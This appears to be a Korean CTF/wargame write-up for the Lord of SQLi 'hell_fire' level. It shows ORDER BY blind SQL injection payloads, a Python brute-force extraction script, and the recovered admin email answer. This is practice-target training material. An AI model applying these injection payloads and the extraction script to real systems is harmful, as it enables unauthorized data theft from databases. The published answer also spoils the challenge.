본문 바로가기

워게임

los rubiya - 23(hell_fire) 풀이

 

지옥불

 

시작하겠습니다.

 

뭔가 신기한게 있네요!

 

union을 못쓰는데 admin의 email을 찾아야만 하네요

그럼.. 일단  order에 1을 입력해 보겠습니다.

 

?order=1

 

 

음!

 

 

1이면 저렇게 나오네요 그럼 한번 if문을 사용해 보겠습니다.

 

?order=if(id='admin' AND length(email)=0,1,100)

 

참이면 1 거짓이면 100 나오게 했습니다.

무조건 거짓이니깐 100이 나오겠죠?

 

 

 

이번엔 

?order=if(id='admin' AND length(email)>0,1,100) 참으로 해서 1 나오게 하겠습니다.

 

 

오..

 

1 즉 참이면 admin이 맨 윗줄 나오고 100 거짓이면 admin이 2번째 줄로 밀려나네요!

 

0은 안되냐고 물으실 수 있는데 이 if절을 하고 나면 결과가 상관없이 admin이 맨 아랫줄에 나옵니다.

 

 

?order=if(id='admin' AND length(email)=0,1,0)

 

왜 그러는지는 저도 잘 모르겠네요..

 

 

어쨌든 이렇게 참이면 1 거짓이면 100 나오게 해서 맨 윗줄에 admin이 나오면 그때 참인 걸로 판별하겠습니다!

 

한번 admin의 length 길이값을 찾아보겠습니다.

 

이진 탐색 해서 찾아보니 28이라는 값을 찾았습니다.

 

?order=if(id='admin' AND length(email)=28,1,100)

 

 

 

이제 substring과 ascii 함수로 찾아보겠습니다.

저는 맨 끝에 limit 0,1을 설정해서 맨 윗줄만 나오게 설정하겠습니다.

 

?order=if(id='admin' AND length(email)=28,1,100) limit 0,1

 

 

 

그리고 rubiya가 없다는 이야기는 admin이 맨 위에 있다는 이야기니깐 참이라는 이야기겠죠!

 

그러니 파이썬 코드를 작성하겠습니다.

 

 

import requests
import urllib.parse
#******parameter:[파라미터이름],parameter value: [파라미터값],word: [식별용단어] ------ ctrl+h 이용하여 바꾸기********

url = "https://los.rubiya.kr/chall/hell_fire_309d5f471fbdd4722d221835380bb805.php" #공격할 url 작성

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3",
    "Cookie": "PHPSESSID=g2mjo4aaa262hjvanp12295h3k"
} #header 기본 구문, 쿠키도 작성


def blind_sqli(blind_query) :
    while True :
        query = input("알아보고 싶은 명의 SQL문을 작성하세요! ")

        index_value = "rubiya" #참 거짓 식별용

        value = binarySearch(query,index_value)
        print(value + "\n")



def binarySearch(query, index_value) :
    s = 1
    value = ""

    for j in range(28) :
        for i in range(32, 127) : #공백부터 ~까지 대입
            data = {
                "order": blind_query.format(query, s, i)
            }

            response = requests.get(url, params=data, headers=headers) #만약 get방식이면 수정하기

            if index_value not in response.text :
                value += chr(i)
                s+=1
                print(value) #잘되나 확인용

    return value


blind_query = "if(id='admin' AND ascii(substring({},{},1))={},1,100) limit 0,1" #수정할거면 수정 하기 --Blind sqli 용
blind_sqli(blind_query) #blind_query 시작

 

공격 쿼리는 if(id='admin' AND ascii(substring({},{},1))={},1,100) limit 0,1 입니다.

 

format 함수로 각각 자동으로 초기화되게 했습니다.

공격 url이랑 쿠키값은 자신 걸로 바꾸셔야 돼요!

 

실행해 보겠습니다.

 

email 입력해서 좀 오래 기다려 보겠습니다.

이진 탐색하면 더욱 빠른데 근데 중간중간에 . 이나 / 같은 값이 나오면 오류가 나게 되어서

그냥 일일이 넣는 코드를 했습니다.

 

 

끝!

 

 

?email=admin_secure_email@emai1.com

 

 

좋아요!

 

 

감사합니다!

'워게임' 카테고리의 다른 글

los rubiya - 25(green_dragon) 풀이  (0) 2023.05.25
los rubiya - 24(evil_wizard) 풀이  (1) 2023.05.24
los rubiya - 22(dark_eyes) 풀이  (0) 2023.05.23
los rubiya - 21(iron_golem) 풀이  (0) 2023.05.18
los rubyia - 19번 20번 풀이  (0) 2023.05.16